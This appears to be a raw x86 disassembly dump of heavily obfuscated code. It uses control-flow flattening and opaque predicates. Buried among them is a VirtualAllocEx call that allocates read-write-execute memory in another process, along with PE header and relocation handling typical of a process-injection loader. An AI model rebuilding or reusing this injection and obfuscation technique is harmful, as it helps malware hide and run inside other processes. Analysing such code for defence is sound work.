xor ch, 0xff
mov byte [ebp - 0x48604], ch
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or ch, al
mov al, byte [ebp - 0x48604]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov ah, 1
xor ah, 0
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or al, dh
or dl, ah
xor al, dl
mov bl, ch
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bl, ch
or dl, ah
xor bl, dl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x48603], dh
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and dh, 0
and al, dl
mov ch, ah
and ch, 0
and bl, dl
or dh, al
mov al, byte [ebp - 0x48603]
or ch, bl
xor dh, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
mov dl, 1
xor dl, 0
mov byte [ebp - 0x48602], dl
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
mov al, ah
and al, 0
mov bl, ch
and bl, 0xff
and bh, ah
or dl, al
mov al, byte [ebp - 0x48602]
or bl, bh
xor dl, bl
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov al, dh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov byte [ebp - 0x485fb], ah
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov al, ch
and al, dh
or dl, al
mov bh, 1
xor bh, 1
and bh, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or bh, bl
or al, dh
xor bh, al
mov dh, 1
xor dh, 1
mov al, ah
xor al, dh
and al, ah
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
or cl, dh
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, dl
xor ah, 0xff
mov bl, 1
xor bl, 1
mov dh, 1
xor dh, 1
or ah, bl
or dh, 1
xor ah, 0xff
and ah, dh
mov byte [ebp - 0x485fe], ah
mov dh, bh
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x485ff], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0x48601], al
mov al, bl
and al, 0
mov byte [ebp - 0x48600], al
mov al, byte [ebp - 0x48601]
and cl, dh
or ah, al
mov al, byte [ebp - 0x48600]
or al, cl
mov cl, byte [ebp - 0x485ff]
xor ah, al
mov al, byte [ebp - 0x485fe]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x485fa], ch
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and ch, 0
and al, dh
mov byte [ebp - 0x485fd], al
mov al, bl
and al, 0
mov byte [ebp - 0x485fc], al
mov al, byte [ebp - 0x485fd]
and cl, dh
or ch, al
mov al, byte [ebp - 0x485fc]
or al, cl
mov cl, byte [ebp - 0x485fb]
xor ch, al
mov al, byte [ebp - 0x485fa]
or al, bl
xor al, 0xff
or dh, 0
and al, dh
or ch, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov byte [ebp - 0x485f9], al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
and al, dl
or cl, al
mov dl, 1
xor dl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, dl
and ah, 0
mov al, ch
and al, 1
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x485f9]
or bl, bh
xor ah, bl
or dl, dh
xor dl, 0xff
or ch, 0
and dl, ch
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb8dea2c
mov ecx, 0xcf0c5e99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xa2e15214
jmp 0x41eecc
mov eax, dword [ebp - 0x4855c]
mov ecx, dword [eax]
mov dword [ebp - 0x4846c], ecx
mov eax, dword [eax + 4]
mov dword [ebp - 0x48468], eax
mov eax, dword [ebp - 0x485cc]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x48558], eax
mov eax, 0xac50b301
mov ecx, 0x6ddfd8a8
cmp dword [ebp - 0x48468], 0
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x485cc]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x48554], eax
mov dword [ebp - 0x485ec], 0xd639e18
jmp 0x41eecc
mov eax, dword [ebp - 0x485d0]
mov dword [ebp - 0x4854c], eax
mov eax, dword [ebp - 0x485cc]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x48548], eax
mov dword [ebp - 0x485ec], 0xab08b6d9
jmp 0x41eecc
mov eax, dword [ebp - 0x48548]
mov esi, dword [eax]
mov edx, dword [ebp - 0x4854c]
mov eax, 0x736872f1
mov ecx, 0x48fd5e50
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x48544]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48420]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x485d4], eax
mov dword [ebp - 0x485ec], 0x736872f1
jmp 0x41eecc
mov eax, dword [ebp - 0x485e8]
cmp eax, dword [ebp - 0x48468]
setb al
and al, 1
mov byte [ebp - 0x48515], al
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
mov edx, eax
add edx, 0x9633912c
sub edx, 0x1acbc579
sub edx, 0x9633912c
xor esi, esi
sub esi, 0x52a3bb29
add edx, esi
sub edx, 0x3c4944f6
add edx, 0x1acbc579
add edx, 0x3c4944f6
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0xc62b8b33
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x86cba298
sub edx, 1
add edx, 0x86cba298
sub edx, 0x5b873fb
sub edx, 0xc62b8b33
add edx, 0x5b873fb
add edx, 0x834eafcf
sub edx, 0x4b648cf3
sub edx, 0x834eafcf
add edx, 0xc3b8eb8
add edx, 0x52a3bb29
sub edx, 0xc3b8eb8
add edx, 0x72cedc8b
add edx, 0x4b648cf3
sub edx, 0x72cedc8b
imul eax, edx
and eax, 1
cmp eax, 0
sete ah
mov byte [ebp - 0x4869c], ah
cmp ecx, 0xa
setl bh
mov cl, ah
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov ch, bh
and ch, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, ch
or al, dl
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or al, dh
or dl, ch
xor al, dl
mov dl, cl
and dl, ah
xor cl, ah
or dl, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
mov bl, ch
and bl, 0
mov byte [ebp - 0x4869e], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x4869d], al
mov al, byte [ebp - 0x4869e]
or ah, al
mov al, byte [ebp - 0x4869d]
or bl, al
mov al, byte [ebp - 0x4869c]
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov byte [ebp - 0x4869b], cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or ah, cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov dl, 1
xor dl, 1
or cl, ah
or dl, 1
xor cl, 0xff
and cl, dl
mov ch, 1
xor ch, 1
and ch, 1
mov dl, 1
xor dl, 1
and dl, 1
or ch, dl
mov ah, ch
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov bl, bh
and bl, dh
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or ah, bl
or al, dh
xor ah, al
mov dh, 1
xor dh, 1
mov al, ah
xor al, dh
and al, ah
xor bh, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or bh, ch
or ah, 1
xor bh, 0xff
and bh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or dl, al
mov al, byte [ebp - 0x4869b]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov ch, ah
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
and ah, dh
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, dh
or ch, ah
or cl, dl
xor ch, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov cl, al
and cl, ah
or dl, cl
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, ch
and bl, dh
mov cl, 1
xor cl, 1
and cl, 0
and dh, 1
or ah, bl
or cl, dh
xor ah, cl
mov bh, 1
xor bh, 1
and bh, 1
mov cl, 1
xor cl, 1
and cl, 1
or bh, cl
mov byte [ebp - 0x48694], bh
mov dh, 1
xor dh, 1
mov cl, dl
xor cl, dh
and cl, dl
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov dh, 1
xor dh, 1
or al, bl
or dh, 1
xor al, 0xff
and al, dh
mov byte [ebp - 0x4869a], al
mov dh, ah
xor dh, 0xff
mov al, 1
xor al, 1
mov bl, 1
xor bl, 1
or dh, al
mov al, byte [ebp - 0x4869a]
or bl, 1
xor dh, 0xff
and dh, bl
xor bh, 0xff
mov bl, ch
xor bl, bh
and bl, ch
mov ch, cl
xor ch, 0xff
xor al, 0xff
mov byte [ebp - 0x48695], al
mov bh, 1
xor bh, 0
mov al, ch
and al, 0
mov byte [ebp - 0x48699], al
mov al, byte [ebp - 0x48695]
and cl, bh
and al, 0
mov byte [ebp - 0x48697], al
mov al, byte [ebp - 0x4869a]
and al, bh
mov byte [ebp - 0x48698], al
mov al, byte [ebp - 0x48699]
or al, cl
mov cl, byte [ebp - 0x48698]
mov byte [ebp - 0x48696], al
mov al, byte [ebp - 0x48697]
or al, cl
mov cl, byte [ebp - 0x48696]
xor cl, al
mov al, byte [ebp - 0x48695]
or ch, al
mov al, byte [ebp - 0x48694]
xor ch, 0xff
or bh, 0
and ch, bh
or cl, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, cl
xor dh, 0xff
mov bl, ch
and bl, dh
xor ch, 0xff
and cl, ch
or bl, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
and cl, dl
or dh, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc687384a
mov ecx, 0xb6aa83a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xcdcfd728
jmp 0x41eecc
mov dl, byte [ebp - 0x48515]
mov eax, 0xa103e167
mov ecx, 0xd01dbae1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov ecx, dword [ebp - 0x485d0]
mov eax, dword [ebp - 0x485e4]
mov eax, dword [eax]
xor edx, edx
sub edx, eax
add edx, 0
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, eax
mov eax, 0x7b7a941
add eax, 0
sub eax, edx
sub eax, 0x7b7a941
add ecx, 0xb16bc5c
add ecx, eax
sub ecx, 0xb16bc5c
mov eax, dword [ebp - 0x485bc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x485e4]
add eax, 4
mov dword [ebp - 0x48514], eax
mov dword [ebp - 0x485ec], 0x10df7840
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov esi, 0x21b7c563
add esi, 0
add esi, 0x2485d2db
sub esi, 0x21b7c563
sub esi, 0xa31916a3
sub esi, 1
add esi, 0xa31916a3
sub esi, 0x5752aecc
sub esi, 0x2485d2db
add esi, 0x5752aecc
xor edi, edi
sub edi, 0x97f66a65
mov edx, ecx
sub edx, edi
sub edx, 0xdede215
add edx, esi
add edx, 0xdede215
xor esi, esi
sub esi, 0x97f66a65
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl cl
mov ah, cl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, cl
and al, dl
or ah, al
mov al, ch
xor al, 0xff
mov dl, ah
and dl, al
xor ah, 0xff
mov al, ch
and al, ah
or dl, al
xor dl, 0xff
mov ah, ch
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov ah, ch
xor ah, 0xff
and ah, 0
mov dh, 1
xor dh, 0
mov bl, ch
and bl, dh
mov al, 1
xor al, 1
and al, 0
and dh, 1
or ah, bl
or al, dh
xor ah, al
mov bl, 1
xor bl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov dh, ah
xor dh, 0xff
mov al, ch
xor al, dh
and al, ch
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov dh, cl
and dh, bh
or ch, dh
xor ch, 0xff
mov bh, 1
xor bh, 0
mov dh, 1
xor dh, 1
or ch, bh
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x486a0], ch
xor ah, 0xff
mov bh, cl
xor bh, ah
and bh, cl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bl, ch
mov byte [ebp - 0x486a2], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x486a1], al
mov al, byte [ebp - 0x486a2]
or cl, al
mov al, byte [ebp - 0x486a1]
or bl, al
mov al, byte [ebp - 0x486a0]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov byte [ebp - 0x4869f], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x4869f]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, al
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and al, ah
or cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and dl, ah
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72d05ab6
mov ecx, 0x878810d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x485b0]
mov eax, dword [eax]
mov dword [ebp - 0x48510], eax
mov eax, dword [ebp - 0x485b8]
mov eax, dword [eax]
mov dword [ebp - 0x4850c], eax
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
mov edx, eax
add edx, 0xa35f6889
sub edx, 0x139e341c
sub edx, 0xa35f6889
sub edx, 0xf03e208e
sub edx, 0x6dd30923
add edx, 0xf03e208e
add edx, 0x2c23a017
add edx, 0x139e341c
sub edx, 0x2c23a017
add edx, 0xc03c0b09
add edx, 0x128292d7
sub edx, 0xc03c0b09
sub edx, 0x70b625ae
sub edx, 1
add edx, 0x70b625ae
add edx, 0xfd4c72eb
sub edx, 0x128292d7
sub edx, 0xfd4c72eb
xor esi, esi
sub esi, edx
add esi, 0
xor edi, edi
sub edi, 0x1f4d2f2b
sub edi, 0x6dd30923
add edi, 0x1f4d2f2b
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
mov edx, 0xbb9af361
add edx, 0
sub edx, esi
sub edx, 0xbb9af361
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl bh
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov ch, bh
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov cl, al
xor cl, 0xff
mov ch, dl
and ch, cl
xor dl, 0xff
mov cl, al
and cl, dl
or ch, cl
xor ch, 0xff
mov dl, al
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov bl, al
xor bl, 0xff
and bl, 0
mov dl, 1
xor dl, 0
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or bl, ah
or cl, dl
xor bl, cl
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
xor al, 0xff
mov ah, dl
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, bh
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov cl, bh
and cl, dh
or ah, cl
mov dh, 1
xor dh, 1
mov cl, ah
xor cl, dh
and cl, ah
mov byte [ebp - 0x486a4], cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov dl, bl
xor dl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
and bl, ah
mov byte [ebp - 0x486a6], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x486a5], al
mov al, byte [ebp - 0x486a6]
or cl, al
mov al, byte [ebp - 0x486a5]
or bl, al
mov al, byte [ebp - 0x486a4]
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov byte [ebp - 0x486a3], cl
mov dl, al
xor dl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov cl, dl
and cl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or cl, al
mov al, byte [ebp - 0x486a3]
or bl, bh
xor cl, bl
or dl, dh
xor dl, 0xff
or ah, 1
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and al, cl
or ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72d05ab6
mov ecx, 0x59b83225
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x485b4]
mov eax, dword [eax]
movzx edx, word [eax]
sar edx, 0xc
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xffffffff
or esi, eax
xor edx, 0xffffffff
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xa453cf9
or edx, esi
or eax, 0xa453cf9
xor edx, 0xffffffff
and edx, eax
mov eax, ecx
and eax, edx
xor ecx, edx
or eax, ecx
mov dword [ebp - 0x486c4], eax
mov ecx, 0xffffffff
xor ecx, 3
and ecx, 0x27e99130
mov edx, 0xffffffff
xor edx, 0x27e99130
mov esi, edx
and esi, 3
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x27e99130
and edx, 0xffffffff
or ecx, esi
or eax, edx
xor ecx, eax
xor ecx, 0xffffffff
xor ecx, 0xc3fc6446
and ecx, 0xc3fc6446
mov esi, 0xffffffff
xor esi, 0xc3fc6446
and esi, 0xd0f22665
mov edx, 0xffffffff
xor edx, 0xd0f22665
mov edi, edx
and edi, 0xc3fc6446
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xd0f22665
and edx, 0xffffffff
or esi, edi
or eax, edx
xor esi, eax
mov eax, esi
xor eax, 0xffffffff
xor eax, 3
and eax, 3
mov dword [ebp - 0x486fc], eax
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xbba3f1d8
mov edi, 0xffffffff
xor edi, 0xbba3f1d8
mov ebx, edi
and ebx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xbba3f1d8
and edi, 0xffffffff
or edx, ebx
mov ebx, dword [ebp - 0x486fc]
or eax, edi
xor edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xc3fc6446
mov eax, 0xffffffff
xor eax, 0x1560260a
or edx, edi
or eax, 0x1560260a
xor edx, 0xffffffff
and edx, eax
xor esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x486e8], eax
xor ebx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x1a37abb4
and eax, 0x1a37abb4
mov dword [ebp - 0x486f8], eax
and ecx, edi
mov eax, ebx
and eax, 0x1a37abb4
mov dword [ebp - 0x486f4], eax
mov eax, dword [ebp - 0x486fc]
and eax, edi
mov dword [ebp - 0x486f0], eax
mov eax, dword [ebp - 0x486f8]
or eax, ecx
mov ecx, dword [ebp - 0x486f4]
mov dword [ebp - 0x486ec], eax
mov eax, dword [ebp - 0x486f0]
or ecx, eax
mov eax, dword [ebp - 0x486ec]
xor eax, ecx
mov ecx, dword [ebp - 0x486e8]
or ecx, ebx
xor ecx, 0xffffffff
or edi, 0x1a37abb4
and ecx, edi
or eax, ecx
mov ecx, edx
and ecx, esi
xor edx, esi
or ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov edi, ecx
and edi, edx
xor ecx, 0xffffffff
and eax, ecx
or edi, eax
mov eax, 0xffffffff
xor eax, 0xa8fcb97c
and eax, 0x6fbf0223
mov edx, 0xffffffff
xor edx, 0x6fbf0223
mov esi, edx
and esi, 0xa8fcb97c
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x6fbf0223
and edx, 0xffffffff
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xffffffff
xor eax, 0x223a8181
and eax, 0x223a8181
mov dword [ebp - 0x486dc], eax
mov edx, 0xffffffff
xor edx, 0x223a8181
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x223a8181
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0xa8fcb97c
mov esi, edx
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x5fd112f2
or ecx, esi
or eax, 0x5fd112f2
xor ecx, 0xffffffff
and ecx, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0x63e91a83
mov esi, 0xffffffff
xor esi, 0x63e91a83
mov eax, esi
and eax, 0xffffffff
mov dword [ebp - 0x486e4], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x63e91a83
mov dword [ebp - 0x486e0], eax
mov eax, dword [ebp - 0x486e4]
and esi, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0x486e0]
or eax, esi
xor ebx, eax
mov eax, 0xffffffff
xor eax, 0x223a8181
mov esi, ebx
xor esi, eax
mov eax, dword [ebp - 0x486dc]
and esi, ebx
mov dword [ebp - 0x486c8], esi
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov dword [ebp - 0x486d0], edx
mov edx, eax
xor edx, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
mov dword [ebp - 0x486cc], esi
mov esi, 0xffffffff
xor esi, 0x6205344
mov ebx, edx
and ebx, 0x6205344
and eax, esi
mov dword [ebp - 0x486d8], eax
mov eax, dword [ebp - 0x486cc]
and eax, 0x6205344
mov dword [ebp - 0x486d4], eax
mov eax, dword [ebp - 0x486d8]
and ecx, esi
or ebx, eax
mov eax, dword [ebp - 0x486d4]
or eax, ecx
mov ecx, dword [ebp - 0x486d0]
xor ebx, eax
mov eax, dword [ebp - 0x486cc]
or edx, eax
mov eax, dword [ebp - 0x486c8]
xor edx, 0xffffffff
or esi, 0x6205344
and edx, esi
or ebx, edx
mov esi, eax
and esi, ecx
xor eax, ecx
or esi, eax
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0x37106ef8
mov eax, 0xffffffff
xor eax, 0x37106ef8
and ebx, eax
mov edx, esi
xor edx, 0xffffffff
and edx, 0x37106ef8
and esi, eax
mov eax, dword [ebp - 0x486c4]
or ecx, ebx
or edx, esi
xor ecx, edx
mov edx, eax
xor edx, 0xffffffff
mov ebx, edi
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x1dd1bb68
or edx, ebx
or esi, 0x1dd1bb68
xor edx, 0xffffffff
and edx, esi
mov ebx, eax
xor ebx, 0xffffffff
mov esi, edi
and esi, ebx
xor edi, 0xffffffff
and eax, edi
or esi, eax
mov eax, edx
and eax, esi
xor edx, esi
or eax, edx
mov dword [ebp - 0x486b8], eax
mov ebx, ecx
xor ebx, 0xffffffff
xor ebx, 0xa8fcb97c
and ebx, 0xa8fcb97c
mov edx, 0xffffffff
xor edx, 0xa8fcb97c
mov eax, ecx
and eax, edx
xor ecx, 0xffffffff
and ecx, 0xa8fcb97c
or eax, ecx
mov edx, ebx
xor edx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x2ef7c70c
mov ecx, edx
and ecx, 0x2ef7c70c
and ebx, esi
mov dword [ebp - 0x486c0], ebx
mov ebx, edi
and ebx, 0x2ef7c70c
and eax, esi
mov dword [ebp - 0x486bc], eax
mov eax, dword [ebp - 0x486c0]
or ecx, eax
mov eax, dword [ebp - 0x486bc]
or ebx, eax
mov eax, dword [ebp - 0x486b8]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0x2ef7c70c
and edx, esi
or ecx, edx
mov dword [ebp - 0x486ac], ecx
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0x83689952
mov edx, 0xffffffff
xor edx, 0x83689952
mov esi, eax
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x83689952
and edx, 0xffffffff
or ebx, esi
or ecx, edx
xor ebx, ecx
xor ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0xffffffff
or edx, ecx
xor eax, 0xffffffff
